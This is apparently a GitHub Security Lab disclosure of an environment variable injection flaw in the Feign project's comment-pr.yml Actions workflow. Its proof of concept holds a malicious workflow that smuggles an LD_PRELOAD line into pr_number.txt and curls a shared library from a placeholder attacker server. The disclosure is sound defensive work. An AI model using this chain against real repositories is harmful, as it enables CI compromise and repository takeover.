Coordinated Disclosure Timeline
- 2024-07-26: Reported through Private Vulnerability Reporting (PVR).
- 2024-07-26: The maintainers inform us that the vulnerable workflow is dependent on the
receive_pr
workflow completion, which requires explicit approval by a maintainer for all outside collaborators, but they are considering adding security in-depth controls.
Summary
Feign’s comment-pr.yml
workflow is vulnerable to Environment Variable injection which may lead to Repository takeover.
Project
Feign
Tested Version
Latest commit at the time of reporting
Details
Environment Variable injection (GHSL-2024-170
)
The comment-pr.yml
workflow gets triggered when the receive-pr
workflow completes:
on:
workflow_run:
workflows: ["receive-pr"]
types:
- completed
Later, it downloads and extracts an artifact generated by the triggering workflow:
# Download the PR number
- uses: actions/download-artifact@v4
with:
name: pr_number
github-token: ${{ secrets.GITHUB_TOKEN }}
run-id: ${{ github.event.workflow_run.id }}
And reads pr_number.txt
into an Environment Variable:
- name: Read pr_number.txt
run: |
PR_NUMBER=$(cat pr_number.txt)
echo "PR_NUMBER=$PR_NUMBER" >> $GITHUB_ENV
rm pr_number.txt
The $GITHUB_ENV
pointed file is just a regular file where every KEY=VALUE
will be used to define a new Environment Variable after the step completes. Since the contents of the pr_number.txt
file have not been validated, they may contain new lines that will cause new Environment Variables to be defined.
An attacker can send a malicious inject.so
and pr_number.txt
file with the following content:
111
LD_PRELOAD=/home/runner/work/feign/feign/inject.so
Which will result in two Environment Variables being defined:
- PR_NUMBER=111
- LD_PRELOAD=/home/runner/work/feign/feign/inject.so
In this example we are manipulating the LD_PRELOAD
environment variable to force the system to load a malicious shared library called inject.so
. As a result, all subsequent processes launched will automatically incorporate this compromised library into their execution environment.
The following step will run the googleapis/code-suggester
action:
# Post suggestions as a comment on the PR
- uses: googleapis/code-suggester@v4
with:
command: review
pull_number: ${{ env.PR_NUMBER }}
git_dir: "."
This action will execute some JS code using node
. Therefore the LD_PRELOAD
will execute arbitrary code when node
gets executed.
PoC
- Clone the repository
- Edit the
receive-pr
workflow.
name: receive-pr
on:
pull_request:
jobs:
upload-patch:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Create pr_number.txt
run: |
mkdir payload
echo -e "${{ github.event.number }}\nLD_PRELOAD=/home/runner/work/feign/feign/inject.so" > payload/pr_number.txt
curl http://<ATTACKER SERVER>/inject.so -o payload/inject.so
- uses: actions/upload-artifact@v4
with:
name: pr_number
path: payload/
- Create a Pull Request with this change.
- Since the modified workflow is triggered on
pull_request
, the attacker Pull Request will trigger it and upon completion will trigger the vulnerablecomment-pr
workflow which will read the malicious artifact and pollute the Environment Variables.
Impact
This issue may lead to repository takeover since it will grant an attacker a GITHUB_TOKEN with the following permissions:
Actions: write
Attestations: write
Checks: write
Contents: write
Deployments: write
Discussions: write
Issues: write
Metadata: read
Packages: write
Pages: write
PullRequests: write
RepositoryProjects: write
SecurityEvents: write
Statuses: write
Resources
- CodeQL for JavaScript - Expression injection in Actions
- Keeping your GitHub Actions and workflows secure Part 2: Untrusted input
- Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-173
in any communication regarding this issue.